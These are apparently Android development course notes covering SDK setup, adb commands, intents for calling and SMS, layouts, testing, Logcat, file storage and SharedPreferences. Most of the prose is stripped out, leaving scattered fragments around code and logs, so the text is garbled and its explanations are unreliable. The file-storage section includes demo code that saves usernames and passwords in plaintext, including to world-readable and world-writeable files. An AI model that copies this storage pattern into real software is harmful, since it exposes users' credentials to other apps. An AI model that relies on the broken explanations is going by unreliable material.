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1.6	Donut
2.1	Eclair
2.2	Froyo
2.3	Gingerbread
3.0	Honeycomb
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Android

SDK	

http://dl.google.com/android/adt/adt-bundle-windows-x86.zip

1
,:
Eclipse	+	ADT	
Android	SDK
Android	Platform-tools
Android	

adt-bundle-windows-x86_64-20130522

Hardware_Accelerated_Execution_ManagerIntelHaxm.exeintelcpu

http://dl.google.com/android/adt/adt-bundle-windows-x86.zip


2Android



Android

1Android

invalid	command-line	parameter:	Files\Android\android-sdk\tools/emulator-
arm.exe.Hint:	use	'@foo'	to	launch	a	virtual	device	named	'foo'.please	use	-help
for	more	information



1.	SDK
2.	Android_SDK_HOME	ANDROID_SDK_HOMEAndroid	SDK
	
2Android
	

,.
,.
x:\Documents	and	Settings\Administrator\.android\avd\xxx.avd
cache.img.lock,	hardware-qemu.ini.lock,		sdcard.img.lock,	userdata-
qemu.img.lock,,	.
.	.	android.	.
	
:
.lock
	
win7	:	C:\Users\hacket\.android\avd\sophone.avd

3“”
	

	
Android “”



		
		 ,"","","",TCP/IP:
					IP:192.168.1.100
					:255.255.255.0
					:192.168.1.100
					DNS:192.168.1.100
		
		 ,"","","",TCP/IP:
					IP:IP 192.168.1.100
					: 255.255.255.0
					: IP *.*.*.1 192.168.1.1
					DNS:IPIP *.*.*.1 192.168.1.1
		

1https

Fetching	https://dl-ssl.google.com/android/repository/addons_list-2.xml
Fetched	Add-ons	List	successfully
Fetching	URL:	https://dl-ssl.google.com/android/repository/repository-
8.xml
Done	loading	packages.



Fetching	https://dl-ssl.google.com/android/repository/addons_list-2.xml
Failed	to	fetch	URL	https://dl-
ssl.google.com/android/repository/addons_list-
2.xml,	reason:	Connection	to	https://dl-ssl.google.com	refused
Fetched	Add-ons	List	successfully
Fetching	URL:	https://dl-ssl.google.com/android/repository/repository-
8.xml
Failed	to	fetch	URL	https://dl-ssl.google.com/android/repository/repository-
8.xml,	reason:	HttpHostConnect	Connection	to	https://dl-
ssl.google.com	refused

Done	loading	packages.

http://www.freevpnworld.com/

vpn

http://www.freevpnworld.com/


2

1BIOSVT-X

2androidSDK	 Managerx86androidx86HAXM

3sdk/extras/intel/Hardware_Accelerated_Execution_Manager
IntelHaxm.exe

vt-x
4AVD	Managerx864.0targetIntel	Atom	 x86	System	Image4.0target
CPU/ABIIntel	 Atom(x86)hardwarekeyboard	lid	supportkeyboard	
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src/		java
gen/	
gen	Android R.java 	Android Androidres R.java

R.java R.javaR.java idR.java R.java
res/	(Resource)

xml ppt
libs/	
jar jar
assets
Android/res /assets /assetsR.javaID/assets

file:///android_asset/xxx.3gp
AndroidManifest.xml	
	 ( GPS)
project.properties	



androidres

res/drawable	pngjpggetResources().getDrawable(resourceId)
res/layout	xmlxmlHTML
res/values	
1strings.xml	ActivitygetResources().getString(resourceId)	
getResources().getText(resourceId)
			struts
				<?xml	version="1.0"	encoding="UTF-8"?>
				<resources>
						<string	name="itcast"></string>
				</resources>
2arrays.xml	
				<?xml	version="1.0"	encoding="utf-8"?>
				<resources>
								<string-array	name="colors">
												<item>red</item>
												<item>yellow</item>					
												<item>green</item>					
												<item>blue</item>			
								</string-array>
				</resources>
3colors.xml	ActivitygetResources().getDrawable(resourceId)	
getResources().getColor(resourceId)
				<?xml	version="1.0"	encoding="UTF-8"?>
				<resources>
						<color	name="contents_text">#ff0000</color>
				</resources>
4dimens.xml	ActivitygetResources().getDimension(resourceId)	
				<?xml	version="1.0"	encoding="UTF-8"?>
				<resources>
						<dimen	name="key_height">50dip</dimen>
				</resources>
5styles.xml	
				<?xml	version="1.0"	encoding="utf-8"?>
				<resources>
								<style	name="itcastText"	parent="@style/Text">



												<item	name="android:textSize">18sp</item>
												<item	name="android:textColor">#0066FF</item>
								</style>
				</resources>	
res/anim/	XML
res/xml/	ActivitygetResources().getXML()XML
res/raw/											
				getResources().openRawResource(ID)	,	ID
R.raw.somefilename

	



Android-Helloworld

Android-Helloworld

	

<uses-sdk
				android:minSdkVersion="17"	--android
				android:targetSdkVersion="17"	/>	--





Androidapk

Android&

-->>Helloworld.apk-->>META-INF->

①androiddx.bat.classclasses.dex

②aapt.exe.dexassets.apk

③.apksign

④adb

1ADB	(android	debug	bridge)	
2IDE	Eclipse	



apk

1.apk	/data/app/xx.apk	
2.android	/data/system/packages.xml	packages.list
	



Android

Android

a)	console(android)
b)problems
c)DDMS	Dalvik	Debug	Manager	System
	

1R.java(R.java)

res/drawableR.javaInvalid	
z0-9_.]R.java

2res/

res
a)R.javajava
bjavaerror:	invalid	symbol:	'int'
	



Android

Android

path

D:\07_Tools\adt-bundle-windows-x86_64-20130522\sdk\platform-tools\adb.exe
path

1 adb	devices(;)					.		

2 adb	install	helloworld.apk				apk

-s	

adb	-s	emulator-5554	install	1.apk	

3 adb	uninstall	() 				

adb	-s	emulator-5554	uninstall	cn.zengfansheng.helloworld



4ddmsReset	adb

adb.
adb	kill-server	adb	 ( kill-server )
adb	start-server	adb.(kill-server)
netstat	-ano	

5adb	pull	

					adb	push		.

adb	-s	emulator-5554	pull	/mnt/sdcard/1.apk	./	

adb	-s	emulator-5554	push	Helloworld.apk	/sdcard/1.apk	





package	cn.zengfansheng.phone;
	
import	android.net.Uri;
import	android.os.Bundle;
import	android.app.Activity;
import	android.content.Intent;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.EditText;
	
public	class	MainActivity	extends	Activity	{
	
				private	EditText	etDail;
				/**
					*	activity	
					*/
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								//1activityxml
								setContentView(R.layout.phone_ui);
								//2id
								etDail	=	(EditText)	MainActivity.this.findViewById(R.id.et_dail);
								//edittext			 ,
								Button	btDail	=	(Button)	this.findViewById(R.id.bt_dail);
								//3
								btDail.setOnClickListener(new	MyButtonListener());
				}
				private	class	MyButtonListener	implements	OnClickListener{
	
								/**
									*	
									*/
								@Override



								public	void	onClick(View	v)	{
	
												String	phoneNumber	=	etDail.getText().toString();
	
												Intent	intent	=	new	Intent();
												//
												intent.setAction(Intent.ACTION_CALL);
												//
												//intent.setData(Uri.parse(phoneNumber));//1:
												intent.setData(Uri.parse("tel:"+phoneNumber));
												//
												MainActivity.this.startActivity(intent);
	
								}
	
				}
}

1 //intent.setData(Uri.parse(phoneNumber));

10-10	15:34:54.144:	E/AndroidRuntime(10307):	android.content.ActivityNotFoundException



intent.setData(Uri.parse("tel:"+phoneNumber));

2

java.lang.SecurityException:	Permission	Denial:	starting	Intent	{	act=android.intent.action.CALL	dat=tel:xx	



ProcessRecord{41226d68	621:cn.zengfansheng.phone/u0a42}	(pid=621,	uid=10042)	requires	android.permission.CALL_PHONE

<uses-sdk
								android:minSdkVersion="8"
								android:targetSdkVersion="16"	/>
				<uses-permission	android:name="android.permission.CALL_PHONE"/>



Android

Android

1	.		 .

btDail.setOnClickListener(new	MyButtonListener());

2,

btDail.setOnClickListener(new	OnClickListener()	{
												
												@Override
												public	void	onClick(View	v)	{
																callPhone();
												}
});
3:this-activity
	
4		xml	button	
	xml
				android:onClick="dailPhone"
	ActivitydailPhone
	xmlpublic,View
	getDeclaredMethod()
public	void	dailPhone(View	view){
								callPhone();
}

a)	——
b)	——
c)	activitythis——
d)	uixmlonClickprivate



-getDeclaredMethod()
		——

package	cn.zengfansheng.phone;
	
import	android.net.Uri;
import	android.os.Bundle;
import	android.app.Activity;
import	android.content.Intent;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.EditText;
	
public	class	MainActivity	extends	Activity	implements	OnClickListener	{
	
				private	EditText	etDail;
				/**
					*	activity	
					*/
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								//1activityxml
								setContentView(R.layout.phone_ui);
								//2id
								etDail	=	(EditText)	MainActivity.this.findViewById(R.id.et_dail);
								//edittext			 ,
								Button	btDail	=	(Button)	this.findViewById(R.id.bt_dail);
								//3
	
								//	 .		.
								//btDail.setOnClickListener(new	MyButtonListener());
	
								/*,
								btDail.setOnClickListener(new	OnClickListener()	{
	
												@Override
												public	void	onClick(View	v)	{
																callPhone();



												}
								});*/
	
								/*
								:this-activity
								//btDail.setOnClickListener(this);
*/				}
	
//						xml	 button	
				public	void	dailPhone(View	view){
								callPhone();
				}
	
				//activity
				@Override
				public	void	onClick(View	v)	{
								callPhone();
				}
	
				//	 .		.
				/*private	class	MyButtonListener	implements	OnClickListener{
	
								*//**
									*	
									*//*
								@Override
								public	void	onClick(View	v)	{
	
												callPhone();
								}
				}*/
				private	void	callPhone()	{
								String	phoneNumber	=	etDail.getText().toString();
	
								Intent	intent	=	new	Intent();
								//
								intent.setAction(Intent.ACTION_CALL);
								//
								//intent.setData(Uri.parse(phoneNumber));//i1:
								intent.setData(Uri.parse("tel:"+phoneNumber));
								//
								MainActivity.this.startActivity(intent);



				}
	
}



Uri	uri	=	Uri.parse("smsto:"	+	mobilePhoneNumber);
								Intent	ii	=	new	Intent(Intent.ACTION_SENDTO,	uri);//	
								String	smsBody	=	"";
								ii.putExtra("sms_body",	smsBody);
								startActivity(ii);



1				activity_main.xml

a)				android:inputType="phone"	

b)				android:inputType="textMultiLine"	5
						android:lines="5"
	
2MainActivity.java
TextUtils.isEmpty(smsNmber)	googlenull""true

public	static	boolean	isEmpty(CharSequence	str)	{
								if	(str	==	null	||	str.length()	==	0)
												return	true;
								else
												return	false;
}
	
3
SmsManager	smsManager	=	SmsManager.getDefault();//SmsManager

smsManager.sendTextMessage(destinationAddress,	scAddress,	text,	sentIntent,	deliveryIntent)
//,(null),

smsManager.sendDataMessage(destinationAddress,	scAddress,	destinationPort,	data,	sentIntent,	deliveryIntent)
	
google
ArrayList<String>	divideMessage	=	smsManager.divideMessage(smsContent);//
				for	(String	message	:	divideMessage)	{
								smsManager.sendTextMessage(smsNmber,	null,	message,	null	,	null);
								Toast.makeText(this,	"" ,	Toast.LENGTH_LONG).show();
}
	

	



Caused	by:	java.lang.SecurityException:	Sending	SMS	message:	User	10043	does	not	have
android.permission.SEND_SMS.



Android

Android

1 				LinearLayout

				vertical

2 					RelativeLayout

				

												#00000000	00	ff

3 	TableLayout

								a)	TableRow

								b)	TableRowTableRow

4				 FrameLayout



5				 AbsoluteLayout

<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<RelativeLayout				<!--		-->
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>
							<!--	
												
												#00000000	00	ff	-->
													
								<TextView
												android:id="@+id/tv_title"
												android:layout_width="wrap_content"	<!--		-->
												android:layout_height="wrap_content"
												android:layout_marginLeft="5dp"	<!--	5dip	-->
												android:layout_marginTop="5dp"				<!--	5dip-->
												android:text=""
												android:textColor="#ff000000"				<!--		-->
												android:textSize="20sp"	/>				<!--		-->
								<TextView
												android:id="@+id/tv_content"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_below="@id/tv_title"	<!---->
												android:layout_marginLeft="5dp"
												android:layout_marginTop="5dp"
												android:text="GPS"
												android:textColor="#66000000"
												android:textSize="14sp"	/>
								<CheckBox



												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"				<!--		-->
												android:layout_centerVertical="true"	/>				<!--	-->
				</RelativeLayout>	
				<View
								android:layout_width="match_parent"
								android:layout_height="1dp"
								android:layout_marginLeft="10dp"
								android:layout_marginRight="10dp"
								android:layout_marginTop="10dp"
								android:background="#6600a0ff"	/>
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>
								<TextView
												android:id="@+id/tv_title2"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_marginLeft="5dp"
												android:layout_marginTop="5dp"
												android:text="2"
												android:textColor="#ff000000"
												android:textSize="20sp"	/>
								<TextView
												android:id="@+id/tv_content2"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_below="@id/tv_title2"
												android:layout_marginLeft="5dp"
												android:layout_marginTop="5dp"
												android:text="GPS"
												android:textColor="#66000000"
												android:textSize="14sp"	/>
								<CheckBox
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"



												android:layout_alignParentRight="true"
												android:layout_centerVertical="true"	/>
				</RelativeLayout>

</LinearLayout>

TableLayout	

<?xml	version="1.0"	encoding="utf-8"?>
<TableLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<!--
							3
								a)	TableRow
								b)	TableRowTableRow
				-->
				<TableRow
								android:layout_width="wrap_content"	<!--	-->
								android:layout_height="wrap_content"	>
								<Button
												android:id="@+id/button1"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>



								<Button
												android:id="@+id/button2"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>
								<Button
												android:id="@+id/button5"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>
								<Button
												android:id="@+id/button7"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>
				</TableRow>
				<TableRow
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"	>
								<Button
												android:id="@+id/button3"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>
								<Button
												android:id="@+id/button4"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="Button"	/>
				</TableRow>

</TableLayout>





Android

Android

1 px	(pixels)
					HVGA320x480
					()

	
2 dipdp	(device	independent	pixels)
				WVGAHVGAQVGA	
	
3 sp	(scaled	pixels	—	best	for	text	size)
				
	

in	(inches)
mm	(millimeters)	
pt	(points)1/72
	
dip	sp

dpsp



Android

1android

ADT:Android	Developer	Tools				(eclipse)

SDK:Software	Development	Kit	()

AAPT:Android	Asset	Packaging	Tool	(android)

ADB:Android	Debug	Dridge	android(Android	)

2cpu

intel		x86	pc			k800	k880
AMD				x86	
arm						android

3

3G

TD_SCDMA()				 3G3G4GTD-LTE

WCDMA

CDMA2000

3G3GTD-SCDMA3GWCDMA

Eedge	2.5G

HSDPA3G3.5GH7.2Mb

4Android



ophone

phone
MIUI

SoPhone	,iphone4

K800		intelx86	 X86					Intel	Atom	Z2460
	
androidsocket

5

1	=	2.539999918	
a2.7					3.2					3.4					4.7					5.4

b

VGA()		640*480

QVGA(quator)	320*240

HVAG(half	)	 480*320

WVGA(wide)	800*640

FWVGA()	854*480

WSVGA	1024*600

6Android

a)	console(android)
b)	problems
c)	DDMS	Dalvik	Debug	Manager	System
R.java
res/drawableInvalid	file	 name:	must	contain	only	[a-z0-9_.]
res
a)R.javajava
bjavaerror:	invalid	symbol:	 'int'



ddmsadbandroid	debug	bridge

androidusb
win7

7

1.src						
2.gen						java	BuildConfig	R
3.android.jar						android_sdk
4.libs				jar		 dependent
5.assets						 (R.java)
6.bin					
7.res								
8.AndroidManifest.xml					.	 	,	,,
9.project.properties	android
	

8apk

1.apk					 /data/app/xx.apk
2.					/data/system/packages.xmlpackages.list

/sdcard/mnt/sdcard

9

adb	devices	.		
	
adb	install		apk
	
adb	uninstall	<>
	
adb.
adb	kill-server	adb
adb	start-server	adb.
	



netstat	-ano	
	
adb	pull	
adb	push		.
adbpull

adb	pull	/sdcard/**.txt			D:\																										D

pushpull	

adb	push	d:\lzd.doc	/mnt/sdcard/jaj_training/fingerprint/	

adbshell

	-s	.				 adb	-s	emulator-5554	install	hello.apk

104

a)	——
b)	——
c)	activitythis——
d)	uixmlonClick				——
private	 -getDeclaredMethod()
	

11

1 LinearLayout:
2 RelativeLayout
3 TableLayout
4FrameLayout

12

1px(pixels)	
()
	



2 dp/dip(device	pixels)		
3 sp
	
dpsp



	
foreground	
	
scaling	
	
crop		
	
latency	
	
DPI		(dots	per	inch)
	
webcam	
	
dial	
	
pixel	



Android

,	.
	
1	:
	
:		
: 	,	.
	
2
	
		function	test
	
		unit	test			junit
	
		integration	test
	
		system	test
	
	
3
	
	smoke	test
	pressure	test
	
android
-->adb	shell
-->monkey	5000

Android

googleandroid,
				1-->2-->3dalvik



	
android
				1.	androidtestcase
				2.manifest	 instrumentation					uses-library
	

android Junit Android Junit
AndroidManifest.xml:

	
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
						package="cn.itcast.action“	android:versionCode="1“	
android:versionName="1.0">
	<application	android:icon="@drawable/icon"
android:label="@string/app_name">
								<uses-library	android:name="android.test.runner"	/>
								....
	</application>
	<uses-sdk	android:minSdkVersion="6"	/>
	<instrumentation
				android:name="android.test.InstrumentationTestRunner"
						android:targetPackage="cn.itcast.action"	android:label="Tests	for	My
App"	/>
</manifest>
targetPackagepackage

“Run	As”--“Android	Junit	Test”	
import	cn.zengfansheng.service.CalcService;
import	android.test.AndroidTestCase;
public	class	TestCalcService	extends	AndroidTestCase	{
				public	void	testAdd(){
								CalcService	calc	=	new	CalcService();
								int	temp	=	calc.add(3,	5);
								assertEquals(8,	temp);
				}
}

AndroidManifest.xml



	does	not	specify	a	android.test.InstrumentationTestRunner	instrumentation	

or	does	not	declare	uses-library	android.test.runner	in	its	AndroidManifest.xml

<?xml	version="1.0"	encoding="utf-8"?>
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="cn.zengfansheng.junit"
				android:versionCode="1"
				android:versionName="1.0"	>
				<uses-sdk
								android:minSdkVersion="8"
								android:targetSdkVersion="18"	/>
				<instrumentation	
								android:name="android.test.InstrumentationTestRunner"
								android:targetPackage="cn.zengfansheng.junit"
								></instrumentation>
				
				<application
								android:allowBackup="true"
								android:icon="@drawable/ic_launcher"
								android:label="@string/app_name"
								android:theme="@style/AppTheme"	>
								<uses-library	android:name="android.test.runner"/>
								<activity
												android:name="cn.zengfansheng.junit.MainActivity"
												android:label="@string/app_name"	>
												<intent-filter>
																<action	android:name="android.intent.action.MAIN"	/>
																<category	android:name="android.intent.category.LAUNCHER"	/>
												</intent-filter>
								</activity>
				</application>
</manifest>

Test





<?xml	version="1.0"	encoding="utf-8"?>
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="cn.zengfansheng.junit.test"
				android:versionCode="1"
				android:versionName="1.0"	>
	
				<uses-sdk	android:minSdkVersion="8"	/>
	
				<instrumentation
								android:name="android.test.InstrumentationTestRunner"
								android:targetPackage="cn.zengfansheng.junit"	/>
	
				<application
								android:icon="@drawable/ic_launcher"
								android:label="@string/app_name"	>
	



								<uses-library	android:name="android.test.runner"	/>
	
				</application>
	
</manifest>



Logcat

Logcat
	
logcat	6
						verbose	()	
						debug		
						info		
						warn				
						error		
						assert	()
verboselogerrorerrorassert
	
System.outSystem.errLogCat
System.outInfoSystem.errWarn
	
Log.w()Log.wtf()
	
Log.v(tag,msg)	tag

import	android.os.Bundle;
import	android.util.Log;
import	android.app.Activity;
public	class	MainActivity	extends	Activity	{
				private	static	final	String	tag	=	"MainActivity";
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								
								Log.v(tag,	"verboselog" );//tag
								Log.d(tag,	"debuglog" );
								Log.i(tag,	"infolog" );
								Log.w(tag,	"warnlog" );
								Log.e(tag,	"errolog" );
								



								System.out.println("System.out" );
								System.err.println("System.err" );
								
								Log.w(tag,	"w" );//Send	a	WARN	log	message.
								Log.wtf(tag,	"wtf" );//
								//logassert
				}
}

	



SD

UI



ROM

1

File	userinfoFile	=	new	File("/data/data/cn.zengfansheng.userlogin/userinfo.txt");

2Context getFilesDir():/data/data//files/

File	userinfoFile	=	new	File(context.getFilesDir(),	"userinfo.txt");

	
1API 	//mnt/sdcard/	
File	userinfoFile	=	new	File(Environment.getExternalStorageDirectory(),	"userinfo.txt"
	
2SD android.permission.WRITE_EXTERNAL_STORAGE
10-10	17:18:02.723:	W/System.err(8463):	java.io.FileNotFoundException:	/mnt/sdcard/userinfo.txt:	open



failed:	EACCES	(Permission	denied)

3 ”SD”A ndroid4.0 4.0

android.permission.READ_EXTERNAL_STORAGE

4sdcarksdcard

String	storageState	=	Environment.getExternalStorageState();//	 sd
if	(!Environment.MEDIA_MOUNTED.equals(storageState))	{//	
				Toast.makeText(this,	"SD.sd" ,	0).show();
				return;
}

1sd	.	,
2sd	.		" SD",sd,

SDCard

a ActivityopenFileOutput() SDCard	SDCard
b SDCardSDCard SDCard SDCardEclipse DOS
c Dosandroid	SDKtools 2GSDCard .img
mksdcard	2048M	D:\AndroidTool\sdcard.img
	
	
e)SDCardSDCard
AndroidManifest.xmlSDCard:
<!--	SDCard	-->
<uses-permission	android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!--	SDCard	-->



<uses-permission	android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
	
f 	SDCard SDCard

SDCardAndroidManifest.xmlSDCard
if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
{
								File	sdCardDir	=	Environment.getExternalStorageDirectory();
								File	saveFile	=	new	File(sdCardDir,	“itcast.txt”);
								FileOutputStream	outStream	=	new	FileOutputStream(saveFile);
								outStream.write("".getBytes());
								outStream.close();
}
Environment.getExternalStorageState()SDCard SDCard
Environment.MEDIA_MOUNTED
	
g Environment.getExternalStorageDirectory()SDCard SDCard
File	sdCardDir	=	new	File("/mnt/sdcard");	//SDCard
File	saveFile	=	new	File(sdCardDir,	"itcast.txt");
// 	File	saveFile	=	new	File("/mnt/sdcard/itcast.txt");
FileOutputStream	outStream	=	new	FileOutputStream(saveFile);
outStream.write("test".getBytes());
outStream.close();
	



settingAvailable	 Space

SettingAvailable

1aosp_jb422.rar\packages\apps\SettingsEclipse_Android



2Eclipse





3android.jar

4eclipseCtrl+H



res/values/strings.xml



5ctrl+h memory_available

<string	name="memory_available">Available</string>

Androidsrc

android4.2

aosp_jb422.rar\packages\apps	

linuxrepo=repositoryrepolinuxandroidREPOGoogle
pythonGitandroid

http://baike.baidu.com/view/1634.htm
http://baike.baidu.com/view/880.htm


API

1Context.openFileOutput(string, Context.MODE_PRIVATE);	

//File	file	=	new

File(context.getCacheDir(),"info.dat");//FileOutputStream	fos	=	new

FileOutputStream(file);

//

FileOutputStream	fos	=	context.openFileOutput("info.dat",

Context.MODE_PRIVATE);

	

2Context.openFileInput(string);	

File	file	=	new	File(context.getCacheDir(),"info.dat");

FileInputStream	fis	=	new	FileInputStream(file);

//FileInputStream	fis	=	context.openFileInput("info.dat");//

	

3Context.getCacheDir();

/data/data//cache/
context.getCacheDir();//data/data//cache/

	

4Context.getFilesDir();	 / data/data//files/





Android

Android

Android
	
1
2SharedPreferences()
3SQite
4Content	provider
5

1openFileOutput

ActivityopenFileOutput()J2SE

public	class	FileActivity	extends	Activity	{
				@Override	public	void	onCreate(Bundle	savedInstanceState)	{
								...
									FileOutputStream	outStream	=	this.openFileOutput("itcast.txt",	Context.MODE_PRIVATE);
									outStream.write("		 ".getBytes());
									outStream.close();			
				}
}
openFileOutput()“/” 	Android	
	/data/data/cn.itcast.action/files/itcast.txt	 Eclipse“Window”-“Show	View”-“Other”android
File	ExplorerFile	Explorer/data/data/<package	 name>/files
	
openFileOutput()
Context.MODE_PRIVATE				=		0
Context.MODE_APPEND				=		32768	
Context.MODE_WORLD_READABLE	=		1
Context.MODE_WORLD_WRITEABLE	=		2
	



	
Context.MODE_PRIVATE Context.MODE_APPEND
Context.MODE_APPEND
Context.MODE_WORLD_READABLEContext.MODE_WORLD_WRITEABLE

MODE_WORLD_READABLE MODE_WORLD_WRITEABLE

openFileOutput("itcast.txt",	Context.MODE_WORLD_READABLE	+
Context.MODE_WORLD_WRITEABLE);
	
	
android (.apk)userid userid

sharedpreferences /data/data/<package	name>/files
Context.MODE_WORLD_READABLEContext.MODE_WORLD_WRITEABLE

	 				

1openFileInput()

/data/data/<package	 name>/filesActivityopenFileInput()
FileInputStream	inStream	=	this.getContext().openFileInput("itcast.txt");
Log.i("FileTest",	readInStream(inStream));
//readInStream()
	
public	static	String	readInStream(FileInputStream	inStream){
				try	{
								ByteArrayOutputStream	outStream	=	new	ByteArrayOutputStream();
								byte[]	buffer	=	new	byte[1024];
								int	length	=	-1;
								while((length	=	inStream.read(buffer))	!=	-1	){
												outStream.write(buffer,	0,	length);
								}
								outStream.close();
								inStream.close();
								return	outStream.toString();



				}	catch	(IOException	e)	{
								Log.i("FileTest",	e.getMessage());
				}
				return	null;
}

2
File	file	=	new	File("/data/data/cn.itcast.action/files/itcast.txt");
FileInputStream	inStream	=	new	FileInputStream(file);
Log.i("FileTest",	readInStream(inStream));

“cn.itcast.action”
Context.MODE_WORLD_READABLE

Context.MODE_WORLD_WRITEABLE
	
	
3Activity getCacheDir()getFilesDir()
getCacheDir()/data/data/<package	name>/cache
getFilesDir()/data/data/<package	name>/files



Android	 	

Android



/**
	*	



	*	
	*/
public	class	UserInfoService	{
				/**
					*	1MODE_PRIVATE
					*	@param	context	
					*	@param	username	
					*	@param	password	
					*	@return	truefalse
					*/
				public	static	boolean	saveUserInfoPrivate(Context	context,String	username,String	password){
								try	{
												FileOutputStream	fos	=	context.openFileOutput("private.txt",	Context.MODE_PRIVATE
												//hacket~~123456
												fos.write((username+"~~"+password).getBytes());
												fos.close();
												return	true;
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
												return	false;
								}	catch	(IOException	e)	{
												e.printStackTrace();
												return	false;
								}
				}
				/**
					*	2MODE_APPEND
					*	@param	context	
					*	@param	username	
					*	@param	password	
					*	@return	truefalse
					*/
				public	static	boolean	saveUserInfoAppend(Context	context,String	username,String	password){
								try	{
												FileOutputStream	fos	=	context.openFileOutput("append.txt",
																				Context.MODE_APPEND);
												//hacket~~123456



												fos.write((username+"~~"+password).getBytes());
												
												fos.close();
												return	true;
												
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
												return	false;
								}	catch	(IOException	e)	{
												e.printStackTrace();
												return	false;
								}
				}
				/**
					*	3MODE_WORLD_READABLE
					*	@param	context	
					*	@param	username	
					*	@param	password	
					*	@return	truefalse
					*/
				public	static	boolean	saveUserInfoReadable(Context	context,String	username,String	password){
								try	{
												FileOutputStream	fos	=	context.openFileOutput("readable.txt",	Context.MODE_WORLD_READABLE
												//hacket~~123456
												fos.write((username+"~~"+password).getBytes());
												//Using	MODE_WORLD_READABLE	when	creating	files	can	be	risky,	review	carefully	
												fos.close();
												return	true;
												
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
												return	false;
								}	catch	(IOException	e)	{
												e.printStackTrace();
												return	false;
								}
				}



				/**
					*	4MODE_WORLD_WRITEABLE
					*	@param	context	
					*	@param	username	
					*	@param	password	
					*	@return	truefalse
					*/
				public	static	boolean	saveUserInfoWriteable(Context	context,String	username,String	password){
								try	{
												FileOutputStream	fos	=	context.openFileOutput("writeable.txt",	Context.MODE_WORLD_WRITEABLE
												//hacket~~123456
												fos.write((username+"~~"+password).getBytes());
												
												fos.close();
												return	true;
	
								}	catch	(FileNotFoundException	e)	{
												e.printStackTrace();
												return	false;
								}	catch	(IOException	e)	{
												e.printStackTrace();
												return	false;
								}
				}
}
		 ,/.

id

//	this.rg_modeGroup.findViewById(R.id.rg_saveFileMode);//

rg_modeGroup	=	(RadioGroup)	this.findViewById(R.id.rg_saveFileMode);



E/AndroidRuntime(1382):
java.lang.RuntimeException:	Unable	to	start
activity	ComponentInfo

http://stackoverflow.com/questions/12351953/e-androidruntime1382-java-lang-runtimeexception-unable-to-start-activity-com


SharedPreference

sharedpreference	

1 booleanboolean



2int



3

SharedPreferences

SharedPreferences

commit()Editor xml
/data/data//shared_prefs/config.xml

<?xml	version='1.0'	encoding='utf-8'	standalone='yes'	?>
<map>
<int	name="seekBarProgress"	value="84"	/>
<boolean	name="ischecked"	value="true"	/>
</map>
	



	
1 SharedPreferencesContext(/data/data//shared_prefs/)
				sp	=	this.getSharedPreferences("config",	Context.MODE_PRIVATE);
	
2Editorcommit()apply()xml
Editor	cbEditor	=	sp.edit();
cbEditor.putBoolean("ischecked",	isChecked);
cbEditor.commit();

	
3(-)
boolean	cbIsChecked	=	sp.getBoolean("ischecked",	false);
//	Value	to	return	if	this	preference	does	not	exist.2preference
cBox.setChecked(cbIsChecked);
	

UI

UI

<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"



					>
			<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
							>
							<TextView
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:layout_marginTop="5dip"
												android:layout_marginLeft="10dip"
												android:text=""
												android:textSize="15sp"	
											/>
							<CheckBox
												android:id="@+id/cb"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
											/>
			</RelativeLayout>
				<TextView
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_marginLeft="10dip"
								android:text=""
								android:textSize="15sp"	
										/>
				<SeekBar
								android:id="@+id/sb"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:max="100"
								android:progress="50"



								/>
</LinearLayout>

import	android.app.Activity;
import	android.content.Context;
import	android.content.SharedPreferences;
import	android.content.SharedPreferences.Editor;
import	android.os.Bundle;
import	android.widget.CheckBox;
import	android.widget.CompoundButton;
import	android.widget.CompoundButton.OnCheckedChangeListener;
import	android.widget.SeekBar;
import	android.widget.SeekBar.OnSeekBarChangeListener;
	
public	class	MainActivity	extends	Activity	{
	
				private	CheckBox	cBox;
				private	SeekBar	seekBar;
				private	SharedPreferences	sp;
	
				@Override
